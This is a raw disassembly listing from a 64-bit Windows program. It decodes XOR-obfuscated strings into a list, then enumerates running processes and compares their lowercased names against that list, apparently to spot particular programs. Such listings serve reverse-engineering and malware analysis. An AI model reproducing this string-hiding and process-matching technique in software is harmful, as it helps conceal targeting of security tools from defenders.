vpxor xmm2, xmm2, xmm0
vmovq qword [rsp + 0x20], xmm2
vmovdqu xmm5, xmmword [0x14013c1b0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm1, qword [rsp + 0x28]
vpxor xmm2, xmm2, xmm1
vmovq qword [rsp + 0x28], xmm2
mov r8d, ebx
lea r9, [rsp + 0x30]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140024d50
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x250], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x260], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024db0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x250]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.OXTDIL9o__E]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140136a60]
vmovsd qword [rsp + 0x30], xmm0
movzx eax, word [0x140136a68]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor ax, 0x45
mov word [rsp + 0x38], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x270], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x280], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024e70
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x270]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.OWL_O_K2__m_G]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140136888]
vmovsd qword [rsp + 0x30], xmm0
mov ecx, dword [0x140136890]
mov dword [rsp + 0x38], ecx
movzx eax, word [0x140136894]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor cx, 0x45
mov word [rsp + 0x38], cx
xor word [rsp + 0x3a], 0x46
xor ax, 0x47
mov word [rsp + 0x3c], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x290], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x2a0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140024f40
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x290]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x140137898]
vmovups xmmword [rsp + 0x20], xmm0
mov eax, dword [0x1401378a8]
mov dword [rsp + 0x30], eax
cmp word [0x1401378aa], 0
je 0x140024fc0
mov eax, 0x69
mov word [rsp + 0x20], ax
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x2b0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x2c0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140024ff0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x2b0]
call fcn.140036bc0
nop
vmovups xmm9, xmmword [str.VVWEYXn_:DOWOSRRL_o__E]
vmovups xmmword [rsp + 0x20], xmm9
vmovsd xmm0, qword [0x1401367a0]
vmovsd qword [rsp + 0x30], xmm0
cmp word [0x1401367a6], 0
je 0x140025146
vmovdqu xmm6, xmmword [0x14013c260]
vmovdqu xmm8, xmmword [str.99999999]
vmovdqu xmm5, xmmword [0x14013c190]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm0, xmm9
vpxor xmm2, xmm2, xmm0
vmovq qword [rsp + 0x20], xmm2
vmovdqu xmm5, xmmword [0x14013c1b0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm1, qword [rsp + 0x28]
vpxor xmm2, xmm2, xmm1
vmovq qword [rsp + 0x28], xmm2
mov r8d, ebx
lea r9, [rsp + 0x30]
nop word [rax + rax]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x140025110
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x2d0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x2e0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025170
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x2d0]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.I_HHHZV_o__E]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140137ae8]
vmovsd qword [rsp + 0x30], xmm0
movzx eax, word [0x140137af0]
mov edi, reloc.WS2_32.dll_WSASetLastError
mov word [rsp + 0x20], di
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor ax, 0x45
mov word [rsp + 0x38], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x2f0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x300], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025230
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x2f0]
call fcn.140036bc0
nop
vmovups ymm0, ymmword [0x1401367d8]
vmovups ymmword [rsp + 0x20], ymm0
mov eax, dword [0x1401367f8]
mov dword [rsp + 0x40], eax
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x310], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x320], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025300
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x310]
vzeroupper
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x1401376e0]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x1401376f0]
vmovsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1401376f8]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor ax, 0x45
mov word [rsp + 0x38], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x330], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x340], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400253c0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x330]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x140137a98]
vmovups xmmword [rsp + 0x20], xmm0
mov ecx, dword [0x140137aa8]
mov dword [rsp + 0x30], ecx
movzx eax, word [0x140137aac]
mov esi, 0x78
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor cx, 0x41
mov word [rsp + 0x30], cx
xor word [rsp + 0x32], 0x42
xor ax, 0x43
mov word [rsp + 0x34], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x350], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x360], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140025470
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x350]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.A_t_tX_Y]
vmovups xmmword [rsp + 0x20], xmm0
mov ecx, dword [0x1401373c8]
mov dword [rsp + 0x30], ecx
movzx eax, word [0x1401373cc]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor cx, 0x41
mov word [rsp + 0x30], cx
xor word [rsp + 0x32], 0x42
xor ax, 0x43
mov word [rsp + 0x34], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x370], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x380], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025520
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x370]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x1401369e8]
vmovups xmmword [rsp + 0x20], xmm0
mov ecx, dword [0x1401369f8]
mov dword [rsp + 0x30], ecx
movzx eax, word [0x1401369fc]
mov word [rsp + 0x20], di
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor cx, 0x41
mov word [rsp + 0x30], cx
xor word [rsp + 0x32], 0x42
xor ax, 0x43
mov word [rsp + 0x34], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x390], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x3a0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400255d0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x390]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x140136810]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140136820]
vmovsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140136828]
mov dword [rsp + 0x38], eax
cmp word [0x14013682a], 0
je 0x140025671
mov word [rsp + 0x20], di
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x3b0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x3c0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400256a0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x3b0]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x140136a70]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140136a80]
vmovsd qword [rsp + 0x30], xmm0
mov ecx, dword [0x140136a88]
mov dword [rsp + 0x38], ecx
movzx eax, word [0x140136a8c]
mov word [rsp + 0x20], si
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor cx, 0x45
mov word [rsp + 0x38], cx
xor word [rsp + 0x3a], 0x46
xor ax, 0x47
mov word [rsp + 0x3c], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x3d0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x3e0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140025770
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x3d0]
call fcn.140036bc0
nop
vmovups xmm9, xmmword [str.H_VI]
vmovups xmmword [rsp + 0x20], xmm9
vmovsd xmm0, qword [0x140137670]
vmovsd qword [rsp + 0x30], xmm0
cmp word [0x140137676], 0
je 0x1400258c1
vmovdqu xmm6, xmmword [0x14013c260]
vmovdqu xmm8, xmmword [str.99999999]
vmovdqu xmm5, xmmword [0x14013c190]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm0, xmm9
vpxor xmm2, xmm2, xmm0
vmovq qword [rsp + 0x20], xmm2
vmovdqu xmm5, xmmword [0x14013c1b0]
vpunpckldq xmm0, xmm5, xmm5
vpmuldq xmm3, xmm0, xmm6
vpunpckhdq xmm1, xmm5, xmm5
vpmuldq xmm2, xmm1, xmm6
vshufps xmm0, xmm3, xmm2, 0xdd
vpsrad xmm4, xmm0, 1
vpsrld xmm1, xmm4, 0x1f
vpaddd xmm0, xmm1, xmm4
vpmulld xmm2, xmm0, xmmword [0x14013c1c0]
vpsubd xmm3, xmm5, xmm2
vpshufb xmm4, xmm3, xmmword [0x14013c270]
vmovq xmm0, xmm8
vpaddw xmm2, xmm4, xmm0
vmovq xmm1, qword [rsp + 0x28]
vpxor xmm2, xmm2, xmm1
vmovq qword [rsp + 0x28], xmm2
lea r8, [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x29e4129f
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movzx eax, ax
imul ecx, eax, 0x37
movzx eax, bx
sub ax, cx
add ax, 0x39
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0xc
jl 0x140025890
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x3f0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x400], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400258f0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x3f0]
call fcn.140036bc0
nop
vmovups ymm0, ymmword [str.SURF__61_h_0_J]
vmovups ymmword [rsp + 0x20], ymm0
mov eax, dword [0x140137c20]
mov dword [rsp + 0x40], eax
mov edi, 0x6a
mov word [rsp + 0x20], di
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
xor ax, 0x49
mov word [rsp + 0x40], ax
xor word [rsp + 0x42], 0x4a
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x410], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x420], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400259c0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x410]
vzeroupper
call fcn.140036bc0
nop
vmovups ymm0, ymmword [str.RI_IPNZ2_._2i_1_K]
vmovups ymmword [rsp + 0x20], ymm0
mov ecx, dword [0x140137ba0]
mov dword [rsp + 0x40], ecx
movzx eax, word [0x140137ba4]
mov ebx, WSAGetLastError
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
xor cx, 0x49
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x4a
xor ax, 0x4b
mov word [rsp + 0x44], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x430], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x440], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140025aa2
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x430]
vzeroupper
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.RI_IPNZ2o__E]
vmovups xmmword [rsp + 0x20], xmm0
vmovsd xmm0, qword [0x140136998]
vmovsd qword [rsp + 0x30], xmm0
movzx eax, word [0x1401369a0]
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor ax, 0x45
mov word [rsp + 0x38], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x450], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x460], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025b60
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x450]
call fcn.140036bc0
nop
vmovups ymm0, ymmword [str.SURFL_346k__I]
vmovups ymmword [rsp + 0x20], ymm0
movzx eax, word [0x1401371d8]
mov word [rsp + 0x20], di
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
xor word [rsp + 0x34], 0x43
xor word [rsp + 0x36], 0x44
xor word [rsp + 0x38], 0x45
xor word [rsp + 0x3a], 0x46
xor word [rsp + 0x3c], 0x47
xor word [rsp + 0x3e], 0x48
xor ax, 0x49
mov word [rsp + 0x40], ax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x470], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x480], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140025c21
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x470]
vzeroupper
call fcn.140036bc0
nop
vmovups xmm0, xmmword [str.XLKIT]
vmovups xmmword [rsp + 0x20], xmm0
mov eax, dword [0x140136aa0]
mov dword [rsp + 0x30], eax
mov ebx, 0x61
cmp word [0x140136aa2], 0
je 0x140025ca4
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
xor word [rsp + 0x30], 0x41
xor word [rsp + 0x32], 0x42
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x490], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x4a0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025cd0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x490]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x140136800]
vmovups xmmword [rsp + 0x20], xmm0
vpextrw eax, xmm0, 7
test ax, ax
je 0x140025d35
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x4b0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x4c0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025d60
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x4b0]
call fcn.140036bc0
nop
vmovups xmm0, xmmword [0x140136800]
vmovups xmmword [rsp + 0x20], xmm0
vpextrw eax, xmm0, 7
test ax, ax
je 0x140025dc5
mov word [rsp + 0x20], bx
xor word [rsp + 0x22], 0x3a
xor word [rsp + 0x24], 0x3b
xor word [rsp + 0x26], 0x3c
xor word [rsp + 0x28], 0x3d
xor word [rsp + 0x2a], 0x3e
xor word [rsp + 0x2c], 0x3f
xor word [rsp + 0x2e], 0x40
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x4d0], xmm0
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x4e0], xmm1
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025df0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x4d0]
call fcn.140036bc0
nop
lea rax, [rsp + 0x130]
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x510]
call fcn.14002e1e0
nop
lea r9, [fcn.1400052a0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 2]
lea rcx, [rsp + 0x130]
call fcn.140112a18
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
mov dword [rsp + 0x540], 0x238
lea rdx, [rsp + 0x540]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140026027
xor r12d, r12d
nop dword [rax]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x4f0], xmm0
mov qword [rsp + 0x500], r12
mov qword [rsp + 0x508], r12
lea rax, [rsp + 0x56c]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140025ec0
lea rdx, [rsp + 0x56c]
lea rcx, [rsp + 0x4f0]
call fcn.140036bc0
nop
lea rdi, [rsp + 0x4f0]
mov r11, qword [rsp + 0x508]
cmp r11, 7
seta al
mov r10, qword [rsp + 0x4f0]
cmova rdi, r10
lea rcx, [rsp + 0x4f0]
mov r14, qword [rsp + 0x500]
test al, al
je 0x140025f21
mov rbx, r10
lea rsi, [r10 + r14*2]
jmp 0x140025f2d
lea rsi, [rcx + r14*2]
lea rbx, [rsp + 0x4f0]
cmp rbx, rsi
je 0x140025f63
sub rdi, rbx
movzx ecx, word [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov word [rbx + rdi], ax
add rbx, 2
cmp rbx, rsi
jne 0x140025f35
mov r11, qword [rsp + 0x508]
mov r14, qword [rsp + 0x500]
mov r10, qword [rsp + 0x4f0]
mov r9, qword [rsp + 0x510]
mov rbx, qword [rsp + 0x518]
cmp r9, rbx
je 0x140025fd3
nop dword [rax + rax]
lea rax, [rsp + 0x4f0]
cmp r11, 7
cmova rax, r10
mov rdx, qword [r9 + 0x10]
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x140025fa1
mov r8, qword [r9]
cmp rdx, r14
jne 0x1400260d0
test rdx, rdx
je 0x140025fca
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x1400260d0
add rax, 2
sub rdx, 1
jne 0x140025fb2
cmp r9, rbx
jne 0x1400260e2
